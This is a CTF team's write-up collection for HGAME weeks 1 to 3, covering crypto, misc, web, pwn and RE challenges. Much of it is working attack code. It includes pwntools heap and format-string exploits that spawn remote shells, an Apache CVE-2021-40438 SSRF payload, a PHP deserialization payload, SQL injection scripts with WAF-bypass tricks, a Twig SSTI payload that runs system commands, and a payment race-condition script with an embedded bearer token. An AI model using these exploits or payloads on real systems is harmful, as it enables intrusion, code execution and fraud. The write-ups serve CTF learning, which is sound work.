deCaesar(string,move): s = \u0026#34;\u0026#34; for i in string: if ord(i) \u0026gt;= 65 and ord(i) \u0026lt;= 90: if (ord(i) - ord(\u0026#39;A\u0026#39;) - move) \u0026gt;= 0: s += chr(ord(i) - move) else: s += chr(ord(i) - move + 26) elif ord(i) \u0026gt;= 97 and ord(i) \u0026lt;= 122: if (ord(i) - ord(\u0026#39;a\u0026#39;) - move) \u0026gt;= 0: s += chr(ord(i) - move) else: s += chr(ord(i) - move + 26) else: s += i return s def deFence(string,space): s = \u0026#34;\u0026#34; if len(string) % space == 0: key = len(string) // space else: key = len(string) // space + 1 for i in range(0, key): for j in range(i, len(string), key): if j \u0026lt; len(string): s += string[j] return s import base64 temp = \u0026#34;YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0=\u0026#34; flag = base64.b64decode(temp).decode(\u0026#34;utf-8\u0026#34;) for i in range(1,50): print(deFence(deCaesar(flag, 21), i)) # i = 22 # \u0026#34;hgame{Welc0me_t0_the_w0rld_0f_crypt0graphy!}\u0026#34; [Crypto]Easy RSA [Crypto]English Novel [Misc]这个压缩包有点麻烦 By NULLPointer\n下载题目，得到一个加密的压缩包，打开后发现提示：\n猜测第一层压缩包的密码是 6 位数字，属于弱口令，可以通过暴力破解得到压缩包口令。使用压缩包爆破工具 ARCHPR，设置口令为 6 位数字，暴力破解，得到压缩包密码为 483279。\n解压得到 flag.zip，README.md 和 password-note.txt 三个文件，其中 flag.zip 是加密的压缩包，README.md 中发现提示：\n推测给出的密码本 password-note.txt 中存在压缩包的密码，因此使用字典爆破得到口令：\n第二层压缩包解压后得到第三个加密的压缩包 flag.zip 和一个 README.md 文件。将 md 文件压缩后在 WinRAR 中查看，发现其 CRC32 值和 flag.zip 中的 README.md 文件 CRC32 值相同。于是推测这两个文件可能是同一文件，因此使用明文爆破的方式攻击。\n明文爆破时 ARCHPR 报错，说明这两个 README.md 文件是不完整的文件。使用 github 上的工具 bkcrack 进行不完整明文攻击，得到部分口令并直接分离出图片 flag.zip。\n使用 HexEditor 查看图片，发现其中有 zip 格式的开始字段 50 4B 03 04 和结束字段 50 4B 05 06。\n使用 binwalk 工具分离得到一个加密的压缩包，用 HexEditor 查看发现数据标志位和目录标志位均为 09 00，猜测使用了伪加密并将其改为 00 00，发现压缩包内文件解密，即可得到 flag。\n[Misc]好康的流量 By NULLPointer\nWireshark查看流量包，发现协议仅有 TCP 与 SMTP 两种，其中 TCP 建立通信，SMTP 用于传输文件。由题目提示可知流量包中可能含有一张图片。\n追踪 TCP 流发现一小段 Base64 编码，解密发现提示可能用到 LSB 隐写。\nTCP 流中还存在一大段 Base64 编码，Content-Type: image/png 提示这段编码即为传输的图片，使用 Base64 转图片工具 https://tool.jisuapi.com/base642pic.html 得到传输的图片。\n使用 Stegsolve 查看图片各个通道，在 Green2 通道中发现条形码，扫描得到 flag 的前半段。\n利用 Data Extract 工具检查 LSB 隐写情况，最终发现当设置 Bit Planes：Red0，Green0，Blue0，Extracted By：Column，Bit Order：LSB First 时得到 flag 后半段。\n[Misc]群青(其实是幽灵东京) By NULLPointer\n​下载题目给出的 wav 文件，放入 Audacity，查看频谱图发现信息：\n​查看文件属性，在“详细信息”一栏中发现提示：why not try try SilentEye。\n​这些信息提示可能存在 SilentEye 隐写。使用 SilentEye 中的 Encrypted 方式解密，设置密钥为 Yoasobi，得到一个新的 wav 文件。\n​文件名 S_S_T_V.wav 提示为 SSTV 隐写，使用 robot36 分析得到一张含有二维码的图片，扫描即可得到 flag。\n[IOT]饭卡的 uno By SSGSS\n用 hex2bin 转换，然后 strings 拿到 flag。\ns0uthwood: 补充一下 .hex 文件格式\n冒号 本行数据长度 本行数据在文件中的起始地址 数据类型 数据 校验码 : 1 byte 2 byte 1 byte N byte 1 byte week2 [Web]webpack-engine By SSGSS\nwebpack,看f12前端的源码即可。\n[Web]Apache! By SSGSS\nCVE-2021-40438\nhttp://httpd.summ3r.top:60010/proxy/?unix:[A*5000]|http://internal.host/flag [Web]一本单词书 By SSGSS\n下载下来源码，登录用弱类型绕，后面这个老哥自己手动实现了一个对映射的序列化再反序列化，自己写的肯定有bug\n最终的payload：{\u0026quot;sb|O:4:\\\u0026quot;Evil\\\u0026quot;:2:{s:4:\\\u0026quot;file\\\u0026quot;;s:5:\\\u0026quot;/flag\\\u0026quot;;s:4:\\\u0026quot;flag\\\u0026quot;;N;}aaa\u0026quot;:\u0026quot;2b\u0026quot;}\n[Web]Pokemon By SSGSS\nsql注入，注入点在报错界面，通过报错能查看出查询语句，同时也能测出waf掉了哪些关键字，可以通过双写绕过，为了方便，就写脚本帮我replace了。\nimport requests url = \u0026#39;http://121.43.141.153:60056/error.php?code=\u0026#39; def bypass(s): s = s.replace(\u0026#39;=\u0026#39;, \u0026#39; like \u0026#39;) s = s.replace(\u0026#39; \u0026#39;, \u0026#39;/*/**/*/\u0026#39;) s = s.replace(\u0026#39;select\u0026#39;, \u0026#39;seleselectct\u0026#39;) s = s.replace(\u0026#39;union\u0026#39;, \u0026#39;ununionion\u0026#39;) s = s.replace(\u0026#39;or\u0026#39;, \u0026#39;oorr\u0026#39;) s = s.replace(\u0026#39;and\u0026#39;, \u0026#39;anandd\u0026#39;) s = s.replace(\u0026#39;from\u0026#39;, \u0026#39;frofromm\u0026#39;) s = s.replace(\u0026#39;where\u0026#39;, \u0026#39;whwhereere\u0026#39;) return s payload = \u0026#34;404 union select 1, database()#\u0026#34; payload = \u0026#34;404 union select database(), group_concat(table_name) from information_schema.tables where table_schema=database()#\u0026#34; payload = \u0026#34;404 union select 1, group_concat(column_name) from information_schema.columns where table_name=\u0026#39;fllllllllaaaaaag\u0026#39;#\u0026#34; payload = \u0026#34;404 union select 1, flag from fllllllllaaaaaag#\u0026#34; payload = bypass(payload) print(payload) r = requests.get(url + payload) print(r.text) [Web]At0m的留言板 [Pwn]blind By triplewings\n访问 proc/self/mem 即可修改当前进程的内存， .text 段也是可修改的\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = remote(\u0026#34;chuj.top\u0026#34;, 51808) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) p.recvuntil(\u0026#34;write: \u0026#34;) libc.address = int(p.recvuntil(\u0026#39;\\n\u0026#39;)[:-1], base = 16) - libc.sym[\u0026#34;write\u0026#34;] print(hex(libc.address)) p.sendlineafter(\u0026#34;\u0026gt;\u0026gt; \u0026#34;, b\u0026#39;/proc/self/mem\\x00\u0026#39;) p.sendlineafter(\u0026#34;\u0026gt;\u0026gt; \u0026#34;, str(libc.sym[\u0026#34;__libc_start_main\u0026#34;])) payload = asm(shellcraft.sh()) payload = payload.rjust(0x300, asm(\u0026#39;nop\u0026#39;)) + b\u0026#39;\\n\u0026#39; p.sendafter(\u0026#34;\u0026gt;\u0026gt; \u0026#34;, payload) p.interactive() [Pwn]echo sever By triplewings\n堆上的格式化字符串， 打 realloc， og 填到 malloc_hook\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./echo\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 52259) libc = ELF(\u0026#34;./libc-2.31.so\u0026#34;) def echo(length, content): p.sendlineafter(b\u0026#34;your content\u0026#39;s length:\u0026#34;, str(length)) p.send(content) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) echo(0x450, b\u0026#34;%3$pzz\u0026#34;) p.recvuntil(\u0026#34;\\n\u0026gt;\u0026gt; \u0026#34;) libc.address = int(p.recvuntil(\u0026#34;zz\u0026#34;)[:-2].decode(), 16) + 895550 - 0x10 - libc.sym[\u0026#34;__malloc_hook\u0026#34;] echo(0x450, b\u0026#34;%6$pzz\u0026#34;) p.recvuntil(\u0026#34;\\n\u0026gt;\u0026gt; \u0026#34;) heap_0 = int(p.recvuntil(\u0026#34;zz\u0026#34;)[:-2].decode(), 16) - 0x10 echo(0x450, b\u0026#34;%4$pzz\u0026#34;) p.recvuntil(\u0026#34;\\n\u0026gt;\u0026gt; \u0026#34;) heap_fastbins = int(p.recvuntil(\u0026#34;zz\u0026#34;)[:-2].decode(), 16) print(hex(libc.address)) print(hex(heap_0)) print(hex(heap_0 \u0026amp; 0xff)) print(hex(heap_fastbins)) echo(0x450, b\u0026#34;aaa\u0026#34;) echo(0x3e0, b\u0026#34;aaa\u0026#34;) echo(0x370, b\u0026#34;aaa\u0026#34;) echo(0x300, b\u0026#34;aaa\u0026#34;) echo(0x290, b\u0026#34;aaa\u0026#34;) echo(0x220, b\u0026#34;aaa\u0026#34;) echo(0x1b0, b\u0026#34;aaa\u0026#34;) echo(0x140, b\u0026#34;aaa\u0026#34;) echo(0xd0, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%\u0026#34; + str(heap_0 \u0026amp; 0xff).encode() + b\u0026#34;c%6$hhn\u0026#34;) echo(0x60, b\u0026#34;%\u0026#34; + str((heap_fastbins + 0xe0) \u0026amp; 0xffff).encode() + b\u0026#34;c%10$hn\u0026#34;) echo(0x60, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])) echo(0, b\u0026#34;\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;%10$ln\\x00\\x00\u0026#34; + p64(0)*2 + p64(0x51)) echo(0x60, b\u0026#34;%96c%10$hhn\u0026#34; + b\u0026#34;\\x00\u0026#34;*5 + p64(0)*7 + p64(0x41)) echo(0x30, p64(0)*3 + p64(0x71) + p64(libc.sym[\u0026#34;__realloc_hook\u0026#34;] - 27)) echo(0x30, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) # gdb.attach(p, \u0026#34;b *$rebase(0x129F)\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34; + b\u0026#34;\\x00\u0026#34;*5 + p64(0)*2 + p64(0) + p64(libc.address + 0xe6c81)) # echo(0x0, b\u0026#34;\u0026#34;) echo(0x0, b\u0026#34;aaa\u0026#34;) # %224c%4$hhn p.interactive() # 0xe6c7e execve(\u0026#34;/bin/sh\u0026#34;, r15, r12) # constraints: # [r15] == NULL || r15 == NULL # [r12] == NULL || r12 == NULL # 0xe6c81 execve(\u0026#34;/bin/sh\u0026#34;, r15, rdx) # constraints: # [r15] == NULL || r15 == NULL # [rdx] == NULL || rdx == NULL # 0xe6c84 execve(\u0026#34;/bin/sh\u0026#34;, rsi, rdx) # constraints: # [rsi] == NULL || rsi == NULL # [rdx] == NULL || rdx == NULL [Pwn]oldfashion_note By triplewings\nuaf 2.31 打 fastbins\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./note\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 51445) libc = ELF(\u0026#34;./libc-2.31.so\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) def menu(i): p.sendlineafter(b\u0026#34;farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def show(idx): menu(2) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def free(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) for i in range(8): add(i, 0x80, b\u0026#34;aaa\u0026#34;) for i in range(7): free(7-i) free(0) show(0) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - 96 - 0x10 - libc.sym[\u0026#34;__malloc_hook\u0026#34;] print(hex(libc.address)) for i in range(8): add(i, 0x80, b\u0026#34;bbb\u0026#34;) for i in range(9): add(i, 0x20, b\u0026#34;ccc\u0026#34;) for i in range(8): free(8-i) free(0) free(1) for i in range(2, 9): add(i, 0x20, b\u0026#34;ddd\u0026#34;) add(1, 0x20, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])) add(0, 0x20, b\u0026#34;/bin/sh\\x00\u0026#34;) add(1, 0x20, b\u0026#34;eee\u0026#34;) add(2, 0x20, p64(libc.sym[\u0026#34;system\u0026#34;])) free(0) p.interactive() [RE]xD MAZE By s0uthwood\n一维的迷宫，直接用 vscode 的小技巧转成 flag\n选中 512 个 # 和后面的一个空格，然后 CTRL+SHIFT+L 全选，换成 3，以此类推\n[RE]fakeshell By oneQuiz\n理解了题意后我们直奔验证 sudo 密码的函数，发现是以 aHappyhg4me 指向的字符串为秘钥的 RC4 加密算法，\n但是直接用 aHappyhg4me 指向的字符串解密只有乱码。\n之后我就卡住了，看了 WP 才知道原来在 c 语言中，被 __attribute__((constructor)) 分配属性的函数会先于 main() 函数被调用，IDA 将其反编译到 init 中。不过我直接看也看 init 我也看不出来什么不对劲，只是能看出它好像是调用了其他函数的指针。\n不过我们只要在 aHappyhg4me 处按下 X 查看其被交叉引用的记录，就可以较容易地发现明显这个字符串是被修改过的。\n双击 mov 指令，成功找到修改秘钥字符串的函数。\n解密得到flag。\n关于 __attribute__：\n__attribute__可用于为函数或者数据声明赋属性值。给函数分配属性的主要目的是为了让编译程序可以优化处理。分配给函数的属性位于函数原型的声明中。\n__attribute__((constructor)) 先于main()函数调用； __attribute__((destructor))在main()函数后调用。 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; static void before(void) __attribute__((constructor)); static void after(void) __attribute__((destructor)); static void before() { printf(\u0026#34;before main\\n\u0026#34;); } static void after(void) { printf(\u0026#34;after main\\n\u0026#34;); } int main() { printf(\u0026#34;main\\n\u0026#34;); return 0; } 还可以通过参数设置优先级关系：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; static void before(void) __attribute__((constructor)); static void before3(void) __attribute__((constructor(103))); static void before2(void) __attribute__((constructor(102))); static void before1(void) __attribute__((constructor(101))); static void before2() { printf(\u0026#34;before 102\\n\u0026#34;); } static void before1() { printf(\u0026#34;before 101\\n\u0026#34;); } static void before3() { printf(\u0026#34;before 103\\n\u0026#34;); } static void before() { printf(\u0026#34;before main\\n\u0026#34;); } int main() { printf(\u0026#34;main\\n\u0026#34;); return 0; } [RE]creakme2 By s0uthwood\n在加密函数里看一下汇编，发现用了 try except 来构造了一个除 0 异常，当最高位为 0 时，异或一个 0x1234567\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B1; for (i=0; i \u0026lt; num_rounds; i++) { v0 += (((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[sum \u0026amp; 3]); sum += delta; if (sum \u0026gt;\u0026gt; 31 == 0) sum ^= 0x1234567; printf(\u0026#34;%x\\n\u0026#34;, sum); v1 += (((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum\u0026gt;\u0026gt;11) \u0026amp; 3]); } v[0]=v0; v[1]=v1; printf(\u0026#34;%x\\n\u0026#34;, sum); } void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B1, sum=0xc78e4d05; for (i=0; i \u0026lt; num_rounds; i++) { v1 -= (((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum\u0026gt;\u0026gt;11) \u0026amp; 3]); if (sum \u0026gt;\u0026gt; 31 == 0) sum ^= 0x1234567; sum -= delta; printf(\u0026#34;%x\\n\u0026#34;, sum); v0 -= (((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[sum \u0026amp; 3]); } v[0]=v0; v[1]=v1; } int main() { uint32_t v[]={0x457E62CF, 0x9537896C, 0x1F7E7F72, 0xF7A073D8, 0x8E996868, 0x40AFAF99, 0xF990E34, 0x196F4086}; uint32_t const k[4]={1,2,3,4}; unsigned int r=32; decipher(r, v, k); decipher(r, v + 2, k); decipher(r, v + 4, k); decipher(r, v + 6, k); printf(\u0026#34;%s\\n\u0026#34;,v); return 0; } [RE]upx magic 0 By oneQuiz\n听说是放错附件了所以这个并没有 UPX 壳。。。\nIDA 打开搜索字符串进入验证函数：\n顺了一遍发现这个加密是单向的，然后卡住（我太笨了T-T）\n经过提醒发现可以直接用 ascii 码可见位直接爆破。\n#include \u0026lt;stdio.h\u0026gt; unsigned short ans[33]; char flag[33]; int main() { ans[0] = 36200; ans[1] = 40265; ans[2] = 10770; ans[3] = 43802; ans[4] = 52188; ans[5] = 47403; ans[6] = 11826; ans[7] = 40793; ans[8] = 56781; ans[9] = 40265; ans[10] = 43274; ans[11] = 3696; ans[12] = 62927; ans[13] = 2640; ans[14] = 23285; ans[15] = 65439; ans[16] = 40793; ans[17] = 48395; ans[18] = 22757; ans[19] = 14371; ans[20] = 48923; ans[21] = 30887; ans[22] = 43802; ans[23] = 18628; ans[24] = 43274; ans[25] = 11298; ans[26] = 40793; ans[27] = 23749; ans[28] = 24277; ans[29] = 30887; ans[30] = 9842; ans[31] = 22165; int rot = 0; unsigned short rot1 = 0; char c = 0; for (int i = 0; i \u0026lt; 32; i++) { for (flag[i] = 33; flag[i] \u0026lt; 127; flag[i]++) { c = flag[i]; rot = flag[i] \u0026lt;\u0026lt; 8; for (int j = 0; j \u0026lt; 8; j++) { if ((rot \u0026amp; 0x8000) == 0) rot *= 2; else rot = (rot * 2) ^ 0x1021; } rot1 = (unsigned __int16)rot; if (rot1 == ans[i]) { printf(\u0026#34;%c\u0026#34;, c); } } } } 直接运行就可以出 flag 啦。\n后来才发现这个根本不是什么加密算法，就是上学期我刚学过的 CRC-16 校验码，这种都是直接爆破就行了。\nCRC16的算法原理：\n根据CRC16的标准选择初值 CRCIn 的值； 将数据的第一个字节与 CRCIn 高 8 位异或； 判断最高位，若该位为 0 左移一位，若为 1 左移一位再与多项式 Hex 码异或； 重复 3 直至 8 位全部移位计算结束； 重复将所有输入数据操作完成以上步骤，所得 16 位数即 16 位 CRC 校验码。 CRC16_CCITT：\n多项式 $x^{16} + x^{12}+ x^5+1（0x1021）$，初始值 $0x0000$，低位在前，高位在后，结果与 $0x0000$ 异或；\n[RE]upx magic 1 By s0uthwood\n发现没法自动脱壳，010 打开之后，手动把三个 UPX? 改成 UPX!，之后就能自动脱壳了\n[Crypto]Chinese Character Encryption By NULLPointer\n脑洞题。\n解压后得到 flag.enc，用记事本打开发现是许多汉字字符串，因此猜想是否与汉字在 Unicode 中的编码有关，尝试破解失败。题目中提示 flag.enc 中每一行均是 flag 的加密，说明每一行汉字都是 flag。发现相同的字母在加密后得到了不同的汉字，这说明每一行相同位置出现的不同的汉字在某些方面具有共同点。\n题目提示该题的加密方式只与汉字的拼音有关，因此使用 pypinyin 包解出拼音，发现每一行相同位置的汉字的拼音高度重合。联想到拼音的数字表达形式（按照声调一二三四标在拼音后加上 1234，轻声按 0 处理），猜想将拼音字母的 ASCII 码加和再加上声调代表的数字的 ASCII 码（轻声加 48，一声加 49，二声加 50，以此类推）作为汉字的编码，即 pypinyin 包中的 Style.TONE3 风格解出的字符串 ASCII 之和。操作发现部分汉字编码相同，说明猜想合理。\n尝试对编码进行操作，发现对 128 取模后开始几个汉字的 ASCII 码对应 hgame，解密即可：\nimport pypinyin def decrypt(s): flag = \u0026#34;\u0026#34; for c in s: ASCII_sum = 0 k = pypinyin.pinyin(c,style = pypinyin.Style.TONE3)[0][0] for i in k: ASCII_sum += ord(i) flag += chr(ASCII_sum % 128) return flag message = \u0026#34;陉萏俦蘭貑謠祥冄剏髯簧凰蕆秉僦笆鼣雔耿睺渺仦殣櫤鄽偟壮褃劳充迧蝔镁樷萾懴雈踺猳钔緲螩蝒醢徣纒漐\u0026#34; print(decrypt(message)) # \u0026#34;hgame{It*sEEMS|thaT~YOu=LEArn@PinYiN^VerY-WelL}\u0026#34; [Crypto]RSA Attack [Crypto]RSA Attack 2 [Crypto]The Password Plus Pro Max Ultra By NULLPointer\n解压得到output.txt和task.py，先分析加密代码如下。\ndef move(n, k): s = bin(n)[2:].zfill(64) # 将n转为64位二进制的形式 k = k \u0026amp; 63 return int(s[k:] + s[:k], 2) # 循环左移k位 def encrypt(x, ks): return xor(x, reduce(xor, map(lambda k: move(x, k), ks))) # 设ks中的数为a1,a2,..,an,返回x^(x\u0026lt;\u0026lt;\u0026lt;a1)^(x\u0026lt;\u0026lt;\u0026lt;a2)^...^(x\u0026lt;\u0026lt;\u0026lt;an) xs = list(map(s2n, findall(r\u0026#34;.{1,8}\u0026#34;, flag))) # 将flag每八个字符分成一组得到多组字符串，转成整数放入xs for i in range(len(xs)): ks = sample(range(1, 64), (i + 1) * 2) # 对于xs中第i个数，在1到64的范围内随机选取(i + 1) * 2个数，放入ks y = encrypt(xs[i], ks) # 利用ks加密xs中的每个数字 assert xs[i] == decrypt(y, ks) print(y, sorted(ks)) # 输出y和ks 发现本题实际上使用的是循环移位-异或加密。output.txt 中每一行前面的数字是加密得到的结果，后面的列表是加密过程中异或式每一项循环左移的位数。\n对于固定位数 m 的二进制串，循环移位-异或加密算法相当于在系数取自 GF(2) 的条件下对二进制多项式做左乘及加和处理，只不过在每次处理之后均要对 m 次多项式求模。因此，对于一个 m 位的二进制串，执行 m 次循环移位-异或算法后将回到其本身。这个性质说明只需将本题中给出的一次加密结果利用移位数列表再加密 63 次即可还原出明文。解密代码如下：\ndef move(n, k): s = bin(n)[2:].zfill(64) k = k \u0026amp; 63 return int(s[k:] + s[:k], 2) def encrypt(x, ks): return xor(x, reduce(xor, map(lambda k: move(x, k), ks))) def decrypt(m,l): flag = \u0026#34;\u0026#34; for i in range(len(m)): for j in range(63): m[i] = encrypt(m[i],l[i]) flag += str(n2s(m[i])) flag = flag.replace(\u0026#34;\u0026#39;b\u0026#39;\u0026#34;,\u0026#39;\u0026#39;) return flag m = [2656224875120172108,1261711348908201279,18219282869614004824,15279054981769814589,7966355346882200701,5641592208539483808,1502927090219059154 ,3996223120734273799,18295033054788808618,18126228466291248047,9413762634844369954 ,8964324149921197550,6962485320551449848] l = [[8, 35],[19, 29, 30, 45],[6, 16, 18, 21, 44, 55],[10, 26, 30, 46, 51, 54, 58, 63],[5, 13, 25, 29, 37, 39, 43, 52, 53, 59],[1, 26, 31, 39, 40, 41, 43, 45, 49, 52, 54, 62],[8, 12, 19, 20, 30, 32, 34, 40, 41, 45, 46, 49, 55, 58],[2, 3, 5, 6, 8, 10, 15, 19, 26, 27, 33, 40, 42, 47, 52, 61],[1, 16, 17, 27, 28, 30, 32, 36, 37, 38, 39, 48, 49, 51, 55, 57, 59, 62],[5, 11, 12, 20, 22, 23, 25, 27, 31, 32, 33, 37, 44, 45, 49, 52, 53, 59, 61, 62],[2, 7, 10, 12, 18, 19, 20, 22, 26, 29, 33, 34, 38, 40, 41, 45, 46, 51, 54, 56, 57, 60],[3, 4, 5, 9, 12, 13, 18, 19, 21, 23, 24, 25, 30, 33, 34, 35, 37, 39, 43, 44, 46, 49, 50, 53],[1, 3, 6, 7, 10, 11, 13, 14, 23, 27, 32, 33, 35, 37, 39, 41, 46, 48, 49, 50, 51, 53, 54, 56, 58, 62]] print(decrypt(m,l)) #\u0026#34;hgame{XOr|RoR\u0026amp;rOl|Is+vERY#coMmon*BiTwisE$OPeraTiOn*IT@is%oFten,ENCOUntErED*in.syMMeTRic?encryPtION}\u0026#34; week3 [Web]LoginMe By SSGSS\nhint 里给了部分查询语句，通过 ') or (' 左右闭合后中间能进行布尔盲注，尝试用 left, ascii 等函数均未返回预期结果，故不是 mysql 数据库，经验证为 sqlite 注入。\nimport requests import json url = \u0026#39;http://f4440d8510.login.summ3r.top:60067/login\u0026#39; ans = \u0026#39;\u0026#39; header = { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39; } # sql = \u0026#39;select group_concat(sql) from sqlite_master\u0026#39; sql = \u0026#39;select group_concat(password) from uuussseeerrrsss limit 0, 1\u0026#39; for i in range(1, 1000): L = 32 R = 127 while R - L \u0026gt; 1: mid = (L + R) \u0026gt;\u0026gt; 1 payload = { \u0026#34;username\u0026#34;: \u0026#34;ass\u0026#39;) or substr((%s), %d, 1) \u0026lt; \u0026#39;%c\u0026#39; or (username=\u0026#39;test1\u0026#34; % (sql, i, chr(mid)), \u0026#34;password\u0026#34;: \u0026#34;114514\u0026#34; } r = requests.post(url, headers=header, data=json.dumps(payload)) if \u0026#39;success\u0026#39; in r.text: R = mid else: L = mid ans += chr(L) print(ans) \u0026#39;\u0026#39;\u0026#39; CREATE TABLE `uuussseeerrrsss` ( `id` integer, `created_at` datetime, `updated_at` datetime, `deleted_at` datetime, `username` text UNIQUE, `password` text, PRIMARY KEY (`id`) ),CREATE INDEX `idx_uuussseeerrrsss_deleted_at` ON `uuussseeerrrsss`(`deleted_at`) \u0026#39;\u0026#39;\u0026#39; [Web]SecurityCenter By SSGSS\n查看 hint，该项目装了如下三个包：\nsymfony/polyfill-ctype v1.24.0 symfony/polyfill-mbstring v1.24.0 twig/twig v3.3.7 依次搜索，twig 在 18 年爆出了一个 SSTI 的洞，于是在 url 处找到注入点：[146.56.223.34:60036/redirect.php?url={{1*7}}](http://146.56.223.34:60036/redirect.php?url={{1*7}})\n随手找了个 TWIG3.X 的 payload，{{[\u0026quot;id\u0026quot;, 0\\]|sort(\u0026quot;system\u0026quot;)|join(\u0026quot;,\u0026quot;)}}\n成功 rce，但是读 flag 的时候 cat 被 waf，用 head 去绕，正则匹配了 hgame 内容，base64 一下即可。\n最终payload：\nhttp://146.56.223.34:60036/redirect.php?url={{[\u0026quot;head /flag|base64\u0026quot;, 0]|sort(\u0026quot;system\u0026quot;)|join(\u0026quot;,\u0026quot;)}})\n[Web]Vidar shop demo By SSGSS\n条件竞争，抢占的资源是钱，可以先狂发 300 个 40 块的订单的包，然后开多线程分别去支付这些包，如果条件竞争顺利的话应该来不及太扣钱，然后我们就分别对这些订单退款钱就够了。\nimport requests import json import threading url = \u0026#39;http://559e013ac8.vidar-shop.mjclouds.com/api/pay/create\u0026#39; payload = {\u0026#34;uid\u0026#34;: 315, \u0026#34;amount\u0026#34;: 20} header = { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;Authorization\u0026#39;: \u0026#39;bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQxMzgxNjUsImlhdCI6MTY0NDA1MTc2NSwidWlkIjozMTV9.QyUNGJRUDQ4qp13utRgTWV8jDs4UhQYWOX8BP6wWcng\u0026#39; } def buy(id): payload[\u0026#34;oid\u0026#34;] = id requests.post(url, headers=header, data=json.dumps(payload)) ts = [] for i in range(5603, 5855): exec(\u0026#39;t{0} = threading.Thread(target=buy,args=(i,))\u0026#39;.format(i)) exec(\u0026#39;ts.append(t{0})\u0026#39;.format(i)) for s in ts: s.start() print(\u0026#34;DONE\u0026#34;) [Pwn]elder_note By triplewings\ndouble free 写 malloc_hook, double_free 报错拿 shell\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./note\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 52620) libc = ELF(\u0026#34;./libc-2.23.so\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) 